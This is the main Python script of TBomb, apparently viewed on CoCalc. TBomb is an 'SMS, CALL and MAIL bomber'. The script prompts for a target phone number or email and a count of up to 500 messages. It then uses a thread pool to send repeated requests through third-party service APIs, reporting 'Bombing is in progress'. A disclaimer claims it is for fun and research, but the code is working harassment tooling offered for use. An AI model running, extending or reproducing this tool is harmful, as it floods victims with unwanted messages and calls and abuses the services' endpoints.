Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
thespeedx
GitHub Repository: thespeedx/tbomb
Path: blob/master/bomber.py
2895 views
1
#!/usr/bin/python
2
# -*- coding: UTF-8 -*-
3
4
import os
5
import shutil
6
import sys
7
import subprocess
8
import string
9
import random
10
import json
11
import re
12
import time
13
import argparse
14
import zipfile
15
from io import BytesIO
16
17
from concurrent.futures import ThreadPoolExecutor, as_completed
18
19
from utils.decorators import MessageDecorator
20
from utils.provider import APIProvider
21
22
try:
23
import requests
24
from colorama import Fore, Style
25
except ImportError:
26
print("\tSome dependencies could not be imported (possibly not installed)")
27
print(
28
"Type `pip3 install -r requirements.txt` to "
29
" install all required packages")
30
sys.exit(1)
31
32
33
def readisdc():
34
with open("isdcodes.json") as file:
35
isdcodes = json.load(file)
36
return isdcodes
37
38
39
def get_version():
40
try:
41
return open(".version", "r").read().strip()
42
except Exception:
43
return '1.0'
44
45
46
def clr():
47
if os.name == "nt":
48
os.system("cls")
49
else:
50
os.system("clear")
51
52
53
def bann_text():
54
clr()
55
logo = """
56
████████ █████ ██
57
▒▒▒██▒▒▒ ██▒▒██ ██
58
██ ██ ██ ██ ██ ██
59
██ █████▒ ████ ███ ███ █████
60
██ ██▒▒██ ██ ██ ██▒█▒██ ██▒▒██
61
██ ██ ██ ██ ██ ██ ▒ ██ ██ ██
62
██ █████▒ ▒████▒ ██ ██ █████▒
63
▒▒ ▒▒▒▒▒ ▒▒▒▒ ▒▒ ▒▒ ▒▒▒▒▒
64
"""
65
if ASCII_MODE:
66
logo = ""
67
version = "Version: "+__VERSION__
68
contributors = "Contributors: "+" ".join(__CONTRIBUTORS__)
69
print(random.choice(ALL_COLORS) + logo + RESET_ALL)
70
mesgdcrt.SuccessMessage(version)
71
mesgdcrt.SectionMessage(contributors)
72
print()
73
74
75
def check_intr():
76
try:
77
requests.get("https://motherfuckingwebsite.com")
78
except Exception:
79
bann_text()
80
mesgdcrt.FailureMessage("Poor internet connection detected")
81
sys.exit(2)
82
83
84
def format_phone(num):
85
num = [n for n in num if n in string.digits]
86
return ''.join(num).strip()
87
88
89
def do_zip_update():
90
success = False
91
if DEBUG_MODE:
92
zip_url = "https://github.com/TheSpeedX/TBomb/archive/dev.zip"
93
dir_name = "TBomb-dev"
94
else:
95
zip_url = "https://github.com/TheSpeedX/TBomb/archive/master.zip"
96
dir_name = "TBomb-master"
97
print(ALL_COLORS[0]+"Downloading ZIP ... "+RESET_ALL)
98
response = requests.get(zip_url)
99
if response.status_code == 200:
100
zip_content = response.content
101
try:
102
with zipfile.ZipFile(BytesIO(zip_content)) as zip_file:
103
for member in zip_file.namelist():
104
filename = os.path.split(member)
105
if not filename[1]:
106
continue
107
new_filename = os.path.join(
108
filename[0].replace(dir_name, "."),
109
filename[1])
110
source = zip_file.open(member)
111
target = open(new_filename, "wb")
112
with source, target:
113
shutil.copyfileobj(source, target)
114
success = True
115
except Exception:
116
mesgdcrt.FailureMessage("Error occured while extracting !!")
117
if success:
118
mesgdcrt.SuccessMessage("TBomb was updated to the latest version")
119
mesgdcrt.GeneralMessage(
120
"Please run the script again to load the latest version")
121
else:
122
mesgdcrt.FailureMessage("Unable to update TBomb.")
123
mesgdcrt.WarningMessage(
124
"Grab The Latest one From https://github.com/TheSpeedX/TBomb.git")
125
126
sys.exit()
127
128
129
def do_git_update():
130
success = False
131
try:
132
print(ALL_COLORS[0]+"UPDATING "+RESET_ALL, end='')
133
process = subprocess.Popen("git checkout . && git pull ",
134
shell=True,
135
stdout=subprocess.PIPE,
136
stderr=subprocess.STDOUT)
137
while process:
138
print(ALL_COLORS[0]+'.'+RESET_ALL, end='')
139
time.sleep(1)
140
returncode = process.poll()
141
if returncode is not None:
142
break
143
success = not process.returncode
144
except Exception:
145
success = False
146
print("\n")
147
148
if success:
149
mesgdcrt.SuccessMessage("TBomb was updated to the latest version")
150
mesgdcrt.GeneralMessage(
151
"Please run the script again to load the latest version")
152
else:
153
mesgdcrt.FailureMessage("Unable to update TBomb.")
154
mesgdcrt.WarningMessage("Make Sure To Install 'git' ")
155
mesgdcrt.GeneralMessage("Then run command:")
156
print(
157
"git checkout . && "
158
"git pull https://github.com/TheSpeedX/TBomb.git HEAD")
159
sys.exit()
160
161
162
def update():
163
if shutil.which('git'):
164
do_git_update()
165
else:
166
do_zip_update()
167
168
169
def check_for_updates():
170
if DEBUG_MODE:
171
mesgdcrt.WarningMessage(
172
"DEBUG MODE Enabled! Auto-Update check is disabled.")
173
return
174
mesgdcrt.SectionMessage("Checking for updates")
175
fver = requests.get(
176
"https://raw.githubusercontent.com/TheSpeedX/TBomb/master/.version"
177
).text.strip()
178
if fver != __VERSION__:
179
mesgdcrt.WarningMessage("An update is available")
180
mesgdcrt.GeneralMessage("Starting update...")
181
update()
182
else:
183
mesgdcrt.SuccessMessage("TBomb is up-to-date")
184
mesgdcrt.GeneralMessage("Starting TBomb")
185
186
187
def notifyen():
188
try:
189
if DEBUG_MODE:
190
url = "https://github.com/TheSpeedX/TBomb/raw/dev/.notify"
191
else:
192
url = "https://github.com/TheSpeedX/TBomb/raw/master/.notify"
193
noti = requests.get(url).text.upper()
194
if len(noti) > 10:
195
mesgdcrt.SectionMessage("NOTIFICATION: " + noti)
196
print()
197
except Exception:
198
pass
199
200
201
def get_phone_info():
202
while True:
203
target = ""
204
cc = input(mesgdcrt.CommandMessage(
205
"Enter your country code (Without +): "))
206
cc = format_phone(cc)
207
if not country_codes.get(cc, False):
208
mesgdcrt.WarningMessage(
209
"The country code ({cc}) that you have entered"
210
" is invalid or unsupported".format(cc=cc))
211
continue
212
target = input(mesgdcrt.CommandMessage(
213
"Enter the target number: +" + cc + " "))
214
target = format_phone(target)
215
if ((len(target) <= 6) or (len(target) >= 12)):
216
mesgdcrt.WarningMessage(
217
"The phone number ({target})".format(target=target) +
218
"that you have entered is invalid")
219
continue
220
return (cc, target)
221
222
223
def get_mail_info():
224
mail_regex = r'^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$'
225
while True:
226
target = input(mesgdcrt.CommandMessage("Enter target mail: "))
227
if not re.search(mail_regex, target, re.IGNORECASE):
228
mesgdcrt.WarningMessage(
229
"The mail ({target})".format(target=target) +
230
" that you have entered is invalid")
231
continue
232
return target
233
234
235
def pretty_print(cc, target, success, failed):
236
requested = success+failed
237
mesgdcrt.SectionMessage("Bombing is in progress - Please be patient")
238
mesgdcrt.GeneralMessage(
239
"Please stay connected to the internet during bombing")
240
mesgdcrt.GeneralMessage("Target : " + cc + " " + target)
241
mesgdcrt.GeneralMessage("Sent : " + str(requested))
242
mesgdcrt.GeneralMessage("Successful : " + str(success))
243
mesgdcrt.GeneralMessage("Failed : " + str(failed))
244
mesgdcrt.WarningMessage(
245
"This tool was made for fun and research purposes only")
246
mesgdcrt.SuccessMessage("TBomb was created by SpeedX")
247
248
249
def workernode(mode, cc, target, count, delay, max_threads):
250
251
api = APIProvider(cc, target, mode, delay=delay)
252
clr()
253
mesgdcrt.SectionMessage("Gearing up the Bomber - Please be patient")
254
mesgdcrt.GeneralMessage(
255
"Please stay connected to the internet during bombing")
256
mesgdcrt.GeneralMessage("API Version : " + api.api_version)
257
mesgdcrt.GeneralMessage("Target : " + cc + target)
258
mesgdcrt.GeneralMessage("Amount : " + str(count))
259
mesgdcrt.GeneralMessage("Threads : " + str(max_threads) + " threads")
260
mesgdcrt.GeneralMessage("Delay : " + str(delay) +
261
" seconds")
262
mesgdcrt.WarningMessage(
263
"This tool was made for fun and research purposes only")
264
print()
265
input(mesgdcrt.CommandMessage(
266
"Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it"))
267
268
if len(APIProvider.api_providers) == 0:
269
mesgdcrt.FailureMessage("Your country/target is not supported yet")
270
mesgdcrt.GeneralMessage("Feel free to reach out to us")
271
input(mesgdcrt.CommandMessage("Press [ENTER] to exit"))
272
bann_text()
273
sys.exit()
274
275
success, failed = 0, 0
276
while success < count:
277
with ThreadPoolExecutor(max_workers=max_threads) as executor:
278
jobs = []
279
for i in range(count-success):
280
jobs.append(executor.submit(api.hit))
281
282
for job in as_completed(jobs):
283
result = job.result()
284
if result is None:
285
mesgdcrt.FailureMessage(
286
"Bombing limit for your target has been reached")
287
mesgdcrt.GeneralMessage("Try Again Later !!")
288
input(mesgdcrt.CommandMessage("Press [ENTER] to exit"))
289
bann_text()
290
sys.exit()
291
if result:
292
success += 1
293
else:
294
failed += 1
295
clr()
296
pretty_print(cc, target, success, failed)
297
print("\n")
298
mesgdcrt.SuccessMessage("Bombing completed!")
299
time.sleep(1.5)
300
bann_text()
301
sys.exit()
302
303
304
def selectnode(mode="sms"):
305
mode = mode.lower().strip()
306
try:
307
clr()
308
bann_text()
309
check_intr()
310
check_for_updates()
311
notifyen()
312
313
max_limit = {"sms": 500, "call": 15, "mail": 200}
314
cc, target = "", ""
315
if mode in ["sms", "call"]:
316
cc, target = get_phone_info()
317
if cc != "91":
318
max_limit.update({"sms": 100})
319
elif mode == "mail":
320
target = get_mail_info()
321
else:
322
raise KeyboardInterrupt
323
324
limit = max_limit[mode]
325
while True:
326
try:
327
message = ("Enter number of {type}".format(type=mode.upper()) +
328
" to send (Max {limit}): ".format(limit=limit))
329
count = int(input(mesgdcrt.CommandMessage(message)).strip())
330
if count > limit or count == 0:
331
mesgdcrt.WarningMessage("You have requested " + str(count)
332
+ " {type}".format(
333
type=mode.upper()))
334
mesgdcrt.GeneralMessage(
335
"Automatically capping the value"
336
" to {limit}".format(limit=limit))
337
count = limit
338
delay = float(input(
339
mesgdcrt.CommandMessage("Enter delay time (in seconds): "))
340
.strip())
341
# delay = 0
342
max_thread_limit = (count//10) if (count//10) > 0 else 1
343
max_threads = int(input(
344
mesgdcrt.CommandMessage(
345
"Enter Number of Thread (Recommended: {max_limit}): "
346
.format(max_limit=max_thread_limit)))
347
.strip())
348
max_threads = max_threads if (
349
max_threads > 0) else max_thread_limit
350
if (count < 0 or delay < 0):
351
raise Exception
352
break
353
except KeyboardInterrupt as ki:
354
raise ki
355
except Exception:
356
mesgdcrt.FailureMessage("Read Instructions Carefully !!!")
357
print()
358
359
workernode(mode, cc, target, count, delay, max_threads)
360
except KeyboardInterrupt:
361
mesgdcrt.WarningMessage("Received INTR call - Exiting...")
362
sys.exit()
363
364
365
mesgdcrt = MessageDecorator("icon")
366
if sys.version_info[0] != 3:
367
mesgdcrt.FailureMessage("TBomb will work only in Python v3")
368
sys.exit()
369
370
try:
371
country_codes = readisdc()["isdcodes"]
372
except FileNotFoundError:
373
update()
374
375
376
__VERSION__ = get_version()
377
__CONTRIBUTORS__ = ['SpeedX', 't0xic0der', 'scpketer', 'Stefan']
378
379
ALL_COLORS = [Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE,
380
Fore.MAGENTA, Fore.CYAN, Fore.WHITE]
381
RESET_ALL = Style.RESET_ALL
382
383
ASCII_MODE = False
384
DEBUG_MODE = False
385
386
description = """TBomb - Your Friendly Spammer Application
387
388
TBomb can be used for many purposes which incudes -
389
\t Exposing the vulnerable APIs over Internet
390
\t Friendly Spamming
391
\t Testing Your Spam Detector and more ....
392
393
TBomb is not intented for malicious uses.
394
"""
395
396
parser = argparse.ArgumentParser(description=description,
397
epilog='Coded by SpeedX !!!')
398
parser.add_argument("-sms", "--sms", action="store_true",
399
help="start TBomb with SMS Bomb mode")
400
parser.add_argument("-call", "--call", action="store_true",
401
help="start TBomb with CALL Bomb mode")
402
parser.add_argument("-mail", "--mail", action="store_true",
403
help="start TBomb with MAIL Bomb mode")
404
parser.add_argument("-ascii", "--ascii", action="store_true",
405
help="show only characters of standard ASCII set")
406
parser.add_argument("-u", "--update", action="store_true",
407
help="update TBomb")
408
parser.add_argument("-c", "--contributors", action="store_true",
409
help="show current TBomb contributors")
410
parser.add_argument("-v", "--version", action="store_true",
411
help="show current TBomb version")
412
413
414
if __name__ == "__main__":
415
args = parser.parse_args()
416
if args.ascii:
417
ASCII_MODE = True
418
mesgdcrt = MessageDecorator("stat")
419
if args.version:
420
print("Version: ", __VERSION__)
421
elif args.contributors:
422
print("Contributors: ", " ".join(__CONTRIBUTORS__))
423
elif args.update:
424
update()
425
elif args.mail:
426
selectnode(mode="mail")
427
elif args.call:
428
selectnode(mode="call")
429
elif args.sms:
430
selectnode(mode="sms")
431
else:
432
choice = ""
433
avail_choice = {
434
"1": "SMS",
435
"2": "CALL",
436
"3": "MAIL"
437
}
438
try:
439
while (choice not in avail_choice):
440
clr()
441
bann_text()
442
print("Available Options:\n")
443
for key, value in avail_choice.items():
444
print("[ {key} ] {value} BOMB".format(key=key,
445
value=value))
446
print()
447
choice = input(mesgdcrt.CommandMessage("Enter Choice : "))
448
selectnode(mode=avail_choice[choice].lower())
449
except KeyboardInterrupt:
450
mesgdcrt.WarningMessage("Received INTR call - Exiting...")
451
sys.exit()
452
sys.exit()
453
454